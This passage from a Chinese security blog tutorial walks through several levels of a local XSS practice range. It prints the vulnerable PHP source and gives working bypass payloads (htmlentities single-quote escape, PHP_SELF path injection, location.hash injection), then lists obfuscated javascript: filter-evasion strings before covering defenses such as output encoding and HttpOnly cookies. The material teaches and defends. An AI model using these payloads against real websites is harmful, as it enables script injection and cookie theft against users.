    • 存在问题:代码在JS环境中输出通过HTML编码的PHP变量,使用htmlentities()函数将字符转换为HTML实体。但htmlentities()函数并不能转换所有的特殊字符,是转换除了空格之外的特殊字符,且单引号和双引号需要单独控制(通过第二个参数),这里使用单引号绕过
    • ’;alert(‘Eastmount’);'
    • Eastmount’;alert($a);//

    htmlentities()第2个参数取值如下:

    • ENT_COMPAT:默认值,只转换双引号
    • ENT_QUOTES:两种引号都转换
    • ENT_NOQUOTES:两种引号都不转换

    绕过代码类似于之前的过狗一句话,将前面的Eastmount赋值给$a,然后弹出 $a。

    注意,PHP中双引号输出和单引号输出有些差别,比如双引号输入具体指“123”,而单引号是$a。

    <?php
    $a = 123;
    echo "$a";
    echo '$a';
    ?>

    运行结果如下图所示,直接弹窗,通过单引号和匹配规则绕过函数htmlentities()。


    十.XSS案例:第8关

    XSS靶场第八关源码

    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>FOX-XSS闯关-第八关</title>
    </head>
    <body>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <style type="text/css">
    body,td,th {
    color: #F00;
    }
    
    </style>
    
    <hr>
    <h1>FOX-XSS闯关-第八关</h1><hr>
    <h3>提示:以post传递name参数名<br>
    任务要求:<br>
    绕过过滤,成功执行js脚本即成功<br>
    靶场说明:通过xss绕过技术执行恶意脚本<br>
    <a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
    </strong>
    <?php
    header("Content-Type: text/html; charset=utf-8");
    if (isset($_POST["name"])) {
    echo "HELLO ".htmlentities($_POST["name"]);
    }
    ?>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
    Your name:<input type="text" name="name" />
    <input type="submit" name="submit"/>
    
    </body>
    </html>

    当我们输入之前的编码方法来尝试绕过,但没有弹出窗体,运行结果如下图所示:

    查看源代码如下图所示:


    分析源码

    • 它是POST传输,尝试输入 < img scr=1 οnerrοr=alert(‘Eastmount’)> 发现被转义,代码使用htmlentities函数进行转义处理
    • 过滤语句:"HELLO ".htmlentities($_POST[“name”])
    • 存在问题:这里存在一个突破口 < form action="<?php echo $_SERVER['PHP_SELF']; ?>" ,当前正在执行的文件名为 $_SERVER[‘PHP_SELF’] ,即我们的“xss8.php”,尝试进行重新组合绕过

    • 绕过组合
    /"><script>alert('Eastmount')</script>"< "
    /"><img src=1 οnerrοr=alert('Eastmount')><form

    闭合前面,然后后面进行重新组合,如下图所示:

    组合后的语句如下所示:

    http://127.0.0.1/xss/xss8.php/"><script>alert('Eastmount')</script>"< "
    http://127.0.0.1/xss/xss8.php/"><img src=1 οnerrοr=alert('Eastmount')><form

    运行结果如下图所示,直接弹窗,通过组合规则绕过 $_SERVER[‘PHP_SELF’],采用POST提交请求。


    十一.XSS案例:第9关

    XSS靶场第九关源码

    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>FOX-XSS闯关-第九关</title>
    </head>
    <body>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <style type="text/css">
    body,td,th {
    color: #F00;
    }
    </style>
    
    <hr>
    <h1>FOX-XSS闯关-第九关</h1><hr>
    <h3>任务要求:<br>
    绕过过滤,成功执行js脚本即成功<br>
    靶场说明:通过xss绕过技术执行恶意脚本<br>
    <a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
    </strong>
    
    <script>
    document.write(location.hash.substring(1));
    </script>
    </body>
    </html>

    当我们输入之前的编码方法来尝试绕过,但没有弹出窗体,运行结果如下图所示:


    分析源码

    • XSS直接在页面输出锚点id,这里的location是获取当前URL的信息,hash属性是一个可读可写的字符串,该字符串是URL的锚部分(从 # 号开始),基本用法为location.hash
    • 过滤语句:document.write(location.hash.substring(1))
    • 存在问题:这里可以使用 # 号闭合,然后加入语句执行,构建一个带XSS的锚点
    • ** #< script>alert(‘Eastmount’)</ script>**

    运行结果如下图所示,刷新网页后即可弹窗。

    http://localhost/xss/xss9.php #<script>alert('Eastmount')</script>


    十二.如何防御XSS

    由于XSS通常可以插入在script标签、HTML注释、标签属性名、标签属性值、标签名字、CSS等中,所以接下来我们简单讲讲如何防御XSS攻击。

    1.输入过滤

    输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当的内容提交,阻止或者忽略除此外的其他任何数据。如下代码,检查用户输入的电话号码是否真确(数字、字母检测)。

    输入正确和错误分别提示。

    输入验证要根据实际情况设计,下面是一些常见的检测和过滤:

    • 输入是否仅仅包含合法的字符
    • 输入字符串是否超过最大长度限制
    • 输入如果为数字,数字是否在指定的范围
    • 输入是否符合特殊的格式要求,如E-mail地址、IP地址等

    2.输出编码

    大多数的Web应用程序都存在一个通病,就是会把用户输入的信息完完整整的输出在页面中,这样很容易便会产生一个XSS。HTML编码在防止XSS攻击上起到很大的作用,它主要是用对应的HTML实体编号替代字面量字符,这样做可以确保浏览器安全处理可能存在恶意字符,将其当做HTMl文档的内容而非结构加以处理。


    3.标签黑白名单过滤

    有时根本就不需要考虑到它是不是HTML标签,我们根本用不到HTML标签。不管是采用输入过滤还是输出过滤,都是针对数据信息进行黑/白名单式的过滤。

    不同的javascript写法包括:

    大小写混淆:
    <img src=JaVaScRiPt:alert(‘xss’)>
    插入[tab]键;
    <img src=”jav ascript:alert(‘xss’);”>
    插入回车符:
    <img src=”jav
    asrci
    pt:alert(‘xss’);”>
    使用/**/注释符:
    <img src=”java/*xxx*/script:alert(‘xss’);”>
    
    重复混淆关键字:
    <img src=”java/*/*javascript*/script/*javascript*/*/script:alert(‘xss’);”>
    
    使用&#十六进制编码字符:
    <img src=”jav&#x09;ascript:alert(‘xss’);”>
    
    使用&#十进制编码字符:
    <img src= jav&#97;script:alert(‘xss’);”>
    
    使用&#十进制编码字符(加入大量的0000):
    <img src=”j&#00097;vascript:alert(‘xss’);”>
    
    在开头插入空格:
    <img src=” javascript:alert(‘xss’);”>

    黑名单:
    过滤可能造成危害的符号及标签,发现使用者输入参数的值为 < script>xxx< /script> 就将其取代为空白。其优点是可以允许开发某些特殊HTML标签,确实是可能因过滤不干净而使攻击者绕过规则。

    白名单:
    白名单仅允许执行特定格式的语法,仅允许< img scr=“http://xxx” > 格式,其余格式一律取代为空白。其优点是可允许特定输入格式的HTML标签,确实是验证程序编写难度校高,且用户可输入变化减少。


    4.代码实体转义

    由于只保留文字部分是一劳永逸的,有时我们还需要展示这个标签,比如说程序论坛当中要贴一个代码,这个时候我们需要用一些转义,它会把这个大括号、小括号以及双引号做一个转义,做为一个字符,就无法执行这个标签型,后面加一个参数,但有时候单引号也会造成XSS。


    5.httponly防止cookie被盗取

    一个信号当中有那么多的地方存在着这个输入以及检测的地方,可能就有一些地方漏掉,只要有一个地方漏掉了,用户的cookie信息就被盗取了。服务器在发送用户信息的时候,我们需要加上一个httponly,这个代码无法读取到cookie的信息,那么攻击者也是得不到这个信息,这对于用户来说也是非常好的保护。

    比如说张三在我们网站上登陆了一下用户名,李四他特意发了一个攻击请求,他拿不到这个用户ID,就冒充不了这个张三。如果在Cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到Cookie信息,这样能有效的防止XSS攻击。

    最重要的是:千万不要引入任何不可信的第三方JavaScript到页面里!


    十三.总结

    写到这里,这篇文章就介绍完毕,本文围绕下面几个知识点进行XSS讲解。

    • preg_repalce()执行一个正则表达式的搜索和替换
    • preg_match()执行匹配正则表达式
    • htmlspecialchars()将特殊字符转换为 HTML 实体
    • strip_tags() 从字符串中去除 HTML 和 PHP 标记
    • js环境输出php变量

    再次感谢Fox好友,这一年也认识了很多安全的大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,感谢师傅、师兄师弟、师姐师妹们的教导,深知自己很菜,得努力前行。

    恭喜师弟师妹们顺利毕业,特殊时期,一场云答辩,一张云合影,都是美妙的记忆,也从你们毕设中学到很多,祝大家前程似锦。依稀记得本科毕业那年,七号楼宿舍大叔写的“志当存高远,无愧梦少年”,如昨

    欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

    (By:Eastmount 2020-05-18 晚上9点写于贵阳 http://blog.csdn.net/eastmount/ )







































    内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
    标签:  php javascript python
    相关文章推荐